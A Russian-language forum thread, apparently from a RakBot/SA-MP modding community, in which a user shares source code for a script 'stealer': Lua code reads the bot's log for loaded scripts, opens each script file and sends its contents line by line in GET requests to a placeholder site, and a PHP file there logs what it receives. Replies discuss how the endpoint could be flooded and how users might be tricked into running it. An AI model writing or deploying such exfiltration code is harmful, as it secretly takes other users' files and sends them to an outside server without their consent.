Исходник Стиллер подгруженных скриптов в RakBot

vadimka0216

Известный
Автор темы
38
63
Такое,наверное, никто еще не делал >.<


Lua исходник:
Код:
server, nick;
function onScriptStart()
    nick=getNickName()
    server=string.gsub(getServerAddress(),":",";")
    defCallAdd(2281,false,stealrun,{});
end
function stealrun()
 
    file=io.open("logs\\"..server.."\\"..nick..".log", "r+");
    local i=0; local mass={};
    if file~=nil then
        for line in file:lines() do
            if line:match("Скрипт (%S+) успешно загружен") then
                i=i+1;
                mass[i]=line:match("Скрипт (%S+) успешно загружен");
                mass[i]=string.gsub(mass[i], "\"", "");
                bool=false;
                for k=1,i-1 do
                    if mass[i]==mass[k] then
                        bool=true;
                    end
                end
                if bool==false then
                    filef=io.open("scripts\\"..mass[i],"r+");
                    openUrl("http://mysite/str.php?str==================================");
                    for line2 in filef:lines() do
              
                        local str2=string.gsub(line2, "\r", "%%20");
                        str2=string.gsub(str2, " ", "%%20");
                        str2=string.gsub(str2, "\n", "%%20");
                        str2=string.gsub(str2, "\0", "");
                        openUrl("http://mysite/str.php?str="..str2);
                    end
                    filef:close();
                end
            end
        end
        file:close()
    end
end

PHP file str.php на сайте с доменом "mysite":
Код:
<?php
    if ($_GET['str']!=""){
  
        $fp=fopen("logs.txt","a");
        fwrite($fp, $_GET['str']."\r\n");
        fclose($fp);
    }
?>
 
Последнее редактирование:
  • Нравится
Реакции: executor_lzt

Laine_prikol

ДИДЖЕЙ МАДЕСТ
Проверенный
260
216
Мда, а какие-нибудь умные люди зайдут на твой сайт и будут спамить GET-запросами
 
  • Нравится
Реакции: imring

vadimka0216

Известный
Автор темы
38
63
Мда, а какие-нибудь умные люди зайдут на твой сайт и будут спамить GET-запросами
Необязательно мой скрипт юзать, даже если "умные" люди зайдут, в любой момент можно удалить файл на сервере. И вряд ли они попадутся на такой развод. На постоянной основе можно,как вариант, зашифровать скрипт и придумать ключ-хэш на сервере и в lua скрипте,который генерит каждые 30-60 секунд какой-нибудь код, но и то "умные" люди смогут отхватить запрос и пофлудить некоторое время GET запросами

Ну, вдруг кому-то захочется узнать, кто какими скриптами пользуется в РакБоте?)) Он также является ярким примером парсинга файла .log ,формирования строки и отправки сообщения на сервер, да и все,наверное...
 
  • Нравится
Реакции: executor_lzt